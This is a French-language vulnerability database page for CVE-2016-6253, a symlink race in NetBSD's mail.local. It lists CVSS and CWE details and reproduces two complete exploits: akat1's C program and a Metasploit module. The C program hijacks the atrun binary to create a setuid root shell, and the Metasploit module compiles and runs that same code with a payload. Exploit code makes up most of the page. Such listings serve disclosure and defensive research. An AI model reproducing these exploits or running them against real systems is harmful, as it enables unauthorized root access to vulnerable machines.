Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-59 |
Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 40141
Date de publication : 2016-07-20 22h00 +00:00
Auteur : akat1
EDB Vérifié : Yes
// Source: http://akat1.pl/?id=2
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) {
rv = -1;
goto out;
}
size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}
out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;
return rv;
}
static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;
in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}
if (in == NULL || out == NULL) {
rv = -1;
goto out;
}
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}
out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}
int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL)
err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL)
err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}
if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}
/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");
/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);
for(;;)
system(buf);
/* NOTREACHED */
default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n",
mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}
/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);
if (overwrite_atrun())
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}
/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0;
}
Exploit Database EDB-ID : 40385
Date de publication : 2016-09-14 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'NetBSD mail.local Privilege Escalation',
'Description' => %q{
This module attempts to exploit a race condition in mail.local with SUID bit set on:
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
NetBSD 6.1 - 6.1.5
NetBSD 6.0 - 6.0.6
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <
[email protected]>', # Module
'akat1' # Discovery
],
'DisclosureDate' => 'Jul 07 2016',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick
'References' =>
[
[ "URL", "http://akat1.pl/?id=2"],
[ "EDB", "40141"],
[ "CVE", "2016-6253"],
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
]
))
register_options([
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
], self.class)
end
def exploit
# lots of this file's format is based on pkexec.rb
# direct copy of code from exploit-db
main = %q{
// Source: http://akat1.pl/?id=2
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) {
rv = -1;
goto out;
}
size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}
out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;
return rv;
}
static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;
in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}
if (in == NULL || out == NULL) {
rv = -1;
goto out;
}
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}
out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}
int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL)
err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL)
err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}
if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}
/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");
/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);
for(;;)
system(buf);
/* NOTREACHED */
default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}
/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);
if (overwrite_atrun())
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}
/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0;
}
}
# patch in our variable maildir and atrunpath
main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/,
"#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"")
main.gsub!(/#define MAILDIR "\/var\/mail"/,
"#define MAILDIR \"#{datastore["MAILDIR"]}\"")
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
payload_file = "#{rand_text_alpha(8)}"
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
vprint_status("Writing Payload to #{payload_path}")
# patch in to run our payload as part of ksh
main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/,
"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
write_file(payload_path, payload.encoded)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)
print_status "Writing exploit to #{executable_path}.c"
# clean previous bad attempts to prevent c code from exiting
rm_f executable_path
rm_f '/tmp/atrun'
whoami = cmd_exec('whoami')
rm_f "/tmp/#{whoami}"
write_file("#{executable_path}.c", main)
print_status("Compiling #{executable_path}.c via gcc")
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
output.each_line { |line| vprint_status(line.chomp) }
print_status('Starting the payload handler...')
handler({})
print_status("Executing at #{Time.now}. May take up to 10min for callback")
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
output.each_line { |line| vprint_status(line.chomp) }
# our sleep timer
stime = Time.now.to_f
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
print_status("#{Time.now}")
register_file_for_cleanup(executable_path)
register_file_for_cleanup("#{executable_path}.out")
print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}")
end
end
Products Mentioned
Configuraton 0
Netbsd>>Netbsd >> Version 6.0
Netbsd>>Netbsd >> Version 6.0.1
Netbsd>>Netbsd >> Version 6.0.2
Netbsd>>Netbsd >> Version 6.0.3
Netbsd>>Netbsd >> Version 6.0.4
Netbsd>>Netbsd >> Version 6.0.5
Netbsd>>Netbsd >> Version 6.0.6
Netbsd>>Netbsd >> Version 6.1
Netbsd>>Netbsd >> Version 6.1.1
Netbsd>>Netbsd >> Version 6.1.2
Netbsd>>Netbsd >> Version 6.1.3
Netbsd>>Netbsd >> Version 6.1.4
Netbsd>>Netbsd >> Version 6.1.5
Netbsd>>Netbsd >> Version 7.0
Références
